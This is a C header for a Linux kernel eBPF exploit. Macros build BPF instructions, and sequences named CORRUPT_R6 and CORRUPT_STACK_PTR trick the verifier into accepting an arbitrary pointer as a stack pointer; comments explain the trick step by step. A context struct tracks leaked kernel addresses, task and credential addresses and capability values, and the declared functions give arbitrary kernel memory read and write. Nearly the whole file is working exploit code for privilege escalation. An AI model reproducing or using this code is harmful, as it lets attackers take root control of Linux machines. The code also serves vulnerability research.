#ifndef _EXPLOIT_PRIMS_

#include <linux/bpf.h>

#define _EXPLOIT_PRIMS_
#define BPF_ALU_IMM(OP, DST, IMM, INS_CLASS)				\
    ((struct bpf_insn) {					\
     .code  = INS_CLASS | BPF_OP(OP) | BPF_K,	\
     .dst_reg = DST,					\
     .src_reg = 0,					\
     .off   = 0,					\
     .imm   = IMM })

#define BPF_ALU_REG(OP, DST, SRC, INS_CLASS)				\
    ((struct bpf_insn) {					\
     .code  = INS_CLASS | BPF_OP(OP) | BPF_X,	\
     .dst_reg = DST,					\
     .src_reg = SRC,					\
     .off   = 0,					\
     .imm   = 0 })

#define BPF_EXIT_INSN()						\
    ((struct bpf_insn) {					\
     .code  = BPF_JMP | BPF_EXIT,			\
     .dst_reg = 0,					\
     .src_reg = 0,					\
     .off   = 0,					\
     .imm   = 0 })

#define BPF_JMP_REG(OP, DST, SRC, OFF, INS_CLASS)				\
    ((struct bpf_insn) {					\
     .code  = INS_CLASS | BPF_OP(OP) | BPF_X,		\
     .dst_reg = DST,					\
     .src_reg = SRC,					\
     .off   = OFF,					\
     .imm   = 0 })

#define BPF_JMP_IMM(OP, DST, IMM, OFF, INS_CLASS)				\
    ((struct bpf_insn) {					\
     .code  = INS_CLASS | BPF_OP(OP) | BPF_K,		\
     .dst_reg = DST,					\
     .src_reg = 0,					\
     .off   = OFF,					\
     .imm   = IMM })

#define BPF_CALL_FUNC(FUNCTION_NUMBER)						\
    ((struct bpf_insn) {					\
     .code  = BPF_JMP | BPF_CALL,			\
     .dst_reg = 0,					\
     .src_reg = 0,					\
     .off   = 0,					\
     .imm   = FUNCTION_NUMBER })

#define BPF_LD_MAP_FD(DST, MAP_FD)				\
    ((struct bpf_insn) {					\
     .code  = BPF_LD | BPF_DW | BPF_IMM,		\
     .dst_reg = DST,					\
     .src_reg = 0x01,					\
     .off   = 0,					\
     .imm   = (__u32) (MAP_FD) }),			\
     ((struct bpf_insn) {					\
      .code  = 0, /* zero is reserved opcode */	\
      .dst_reg = 0,					\
      .src_reg = 0,					\
      .off   = 0,					\
      .imm   = ((__u64) (MAP_FD)) >> 32 })

#define BPF_MEM_OPERATION(INS_CLASS, SIZE, DST, SRC, OFF)			\
    ((struct bpf_insn) {					\
     .code  = INS_CLASS | BPF_SIZE(SIZE) | BPF_MEM,	\
     .dst_reg = DST,					\
     .src_reg = SRC,					\
     .off   = OFF,					\
     .imm   = 0 })
#define BPF_MEM_IMM_OPERATION(INS_CLASS, SIZE, DST, IMM, OFF)			\
    ((struct bpf_insn) {					\
     .code  = INS_CLASS | BPF_SIZE(SIZE) | BPF_MEM,	\
     .dst_reg = DST,					\
     .src_reg = 0,					\
     .off   = OFF,					\
     .imm   = IMM })

#define CORRUPT_R6   \
    BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_6, /*imm=*/149420059, /*ins_class=*/BPF_ALU64), \
    BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_7, /*imm=*/3982203280, /*ins_class=*/BPF_ALU64), \
    BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_8, /*imm=*/67, /*ins_class=*/BPF_ALU64), \
    BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_9, /*imm=*/1042510562, /*ins_class=*/BPF_ALU64), \
    BPF_JMP_REG(BPF_JGT, /*dst=*/BPF_REG_7, /*src=*/BPF_REG_6, /*off=*/1, /*ins_class=*/BPF_JMP), \
    BPF_ALU_IMM(BPF_MUL, /*dst=*/BPF_REG_7, /*imm=*/1, /*ins_class=*/BPF_ALU), \
    BPF_JMP_REG(BPF_JEQ, /*dst=*/BPF_REG_6, /*src=*/BPF_REG_9, /*off=*/1, /*ins_class=*/BPF_JMP), \
    BPF_ALU_IMM(BPF_ADD, /*dst=*/BPF_REG_6, /*imm=*/0, /*ins_class=*/BPF_ALU), \
    BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_6, /*imm=*/2613857455, /*ins_class=*/BPF_ALU64), \
    BPF_ALU_IMM(BPF_MOD, /*dst=*/BPF_REG_6, /*imm=*/698566326, /*ins_class=*/BPF_ALU64), \
    BPF_ALU_REG(BPF_RSH, /*dst=*/BPF_REG_7, /*src=*/BPF_REG_9, /*ins_class=*/BPF_ALU), \
    BPF_ALU_REG(BPF_RSH, /*dst=*/BPF_REG_9, /*src=*/BPF_REG_7, /*ins_class=*/BPF_ALU64), \
    BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_8, /*src=*/BPF_REG_7, /*ins_class=*/BPF_ALU64), \
    BPF_JMP_REG(BPF_JSET, /*dst=*/BPF_REG_8, /*src=*/BPF_REG_9, /*off=*/4, /*ins_class=*/BPF_JMP), \
    BPF_ALU_IMM(BPF_ADD, /*dst=*/BPF_REG_9, /*imm=*/635122136, /*ins_class=*/BPF_ALU), \
    BPF_ALU_IMM(BPF_LSH, /*dst=*/BPF_REG_9, /*imm=*/46, /*ins_class=*/BPF_ALU64), \
    BPF_ALU_IMM(BPF_MUL, /*dst=*/BPF_REG_8, /*imm=*/1, /*ins_class=*/BPF_ALU64), \
    BPF_ALU_IMM(BPF_MUL, /*dst=*/BPF_REG_8, /*imm=*/1, /*ins_class=*/BPF_ALU64), \
    BPF_JMP_REG(BPF_JNE, /*dst=*/BPF_REG_6, /*src=*/BPF_REG_9, /*off=*/2, /*ins_class=*/BPF_JMP), \
    BPF_ALU_IMM(BPF_NEG, /*dst=*/BPF_REG_6, /*imm=*/BPF_REG_0, /*ins_class=*/BPF_ALU), \
    BPF_ALU_IMM(BPF_LSH, /*dst=*/BPF_REG_9, /*imm=*/BPF_REG_7, /*ins_class=*/BPF_ALU), \
    BPF_JMP_REG(BPF_JLE, /*dst=*/BPF_REG_6, /*src=*/BPF_REG_9, /*off=*/2, /*ins_class=*/BPF_JMP), \
    BPF_ALU_IMM(BPF_MOD, /*dst=*/BPF_REG_6, /*imm=*/3021791800, /*ins_class=*/BPF_ALU), \
    BPF_ALU_IMM(BPF_RSH, /*dst=*/BPF_REG_6, /*imm=*/40, /*ins_class=*/BPF_ALU64), \
    BPF_ALU_IMM(BPF_RSH, /*dst=*/BPF_REG_6, /*imm=*/28, /*ins_class=*/BPF_ALU)

// 1. Store random scalar to stack - 8
// 2. Store (stack pointer - 8) to stack - 16
// 3. Call skb_load_bytes_relative, this will overwrite (stack - 16)
// 4. Load stack - 16 to R1, verifier thinks we have a ptr to stack - 8 here
//    hence it allows any scalar writing... but in fact we have an arbitrary
//    pointer.
#define CORRUPT_STACK_PTR \
    CORRUPT_R6, \
    BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_9, /*src=*/BPF_REG_1, /*ins_class=*/BPF_ALU64), \
    BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_1, /*imm=*/0xCAFE, /*ins_class=*/BPF_ALU64), \
    BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_1, /*offset=*/-8), \
    \
    BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_2, /*src=*/BPF_REG_10, /*ins_class=*/BPF_ALU64), \
    BPF_ALU_IMM(BPF_ADD, /*dst=*/BPF_REG_2, /*imm=*/-8, /*ins_class=*/BPF_ALU64), \
    BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_2, /*offset=*/-16), \
    \
    BPF_ALU_REG(BPF_MOV, BPF_REG_1, BPF_REG_9, BPF_ALU64), \
    BPF_ALU_IMM(BPF_MOV, BPF_REG_2, 0, BPF_ALU64), \
    BPF_ALU_REG(BPF_MOV, BPF_REG_3, BPF_REG_10, BPF_ALU64), \
    BPF_ALU_IMM(BPF_ADD, BPF_REG_3, -24, BPF_ALU64), \
    BPF_ALU_REG(BPF_MOV, BPF_REG_4, BPF_REG_6, BPF_ALU64), \
    BPF_ALU_IMM(BPF_MUL, BPF_REG_4, 8, BPF_ALU64), \
    BPF_ALU_IMM(BPF_ADD, BPF_REG_4, 8, BPF_ALU64), \
    BPF_ALU_IMM(BPF_MOV, BPF_REG_5, 1, BPF_ALU64), \
    BPF_CALL_FUNC(BPF_FUNC_skb_load_bytes_relative), \
    \
    BPF_MEM_OPERATION(BPF_LDX, BPF_DW, /*dst=*/BPF_REG_1, /*src=*/BPF_REG_10, /*offset=*/-16)

typedef struct context {
    int map_fd;
    int map_size;

    int read_fd;

    void *kernel_memory;
    int kernel_page_size;
    int kernel_allocated_pages;

    uint64_t init_pid_fs;
    uint64_t init_pid_cap_inh;
    uint64_t init_pid_cap_perm;
    uint64_t init_pid_cap_eff;

    uint64_t map_leak;
    uint64_t ops_leak;
    uint64_t init_proc_ns_kstrtab;
    uint64_t init_proc_ns_addr;
    uint64_t task_addr;
    uint64_t creds_addr;
} context;

int load_prog(struct bpf_insn *instructions, size_t insn_count);

int bpf_create_map(unsigned int max_entries); 

int get_map_contents(context *ctx, uint64_t *contents); 

int setup_send_sock(); 

int setup_listener_sock(); 

int bpf_prog_skb_run(int prog_fd, const void *data, size_t size); 

int execute_bpf_program(context* ctx, int prog_fd, uint64_t *map_contents, void *data, int data_len); 

int prepare_read(context *ctx); 

int write_to_address(context *ctx, uint64_t target_address, uint64_t value); 

int read_from_address(context *ctx, uint64_t target_address, uint64_t* value); 

int kernel_read_bytes(context *ctx, uint64_t target_address, void *destination, uint64_t size);
#endif
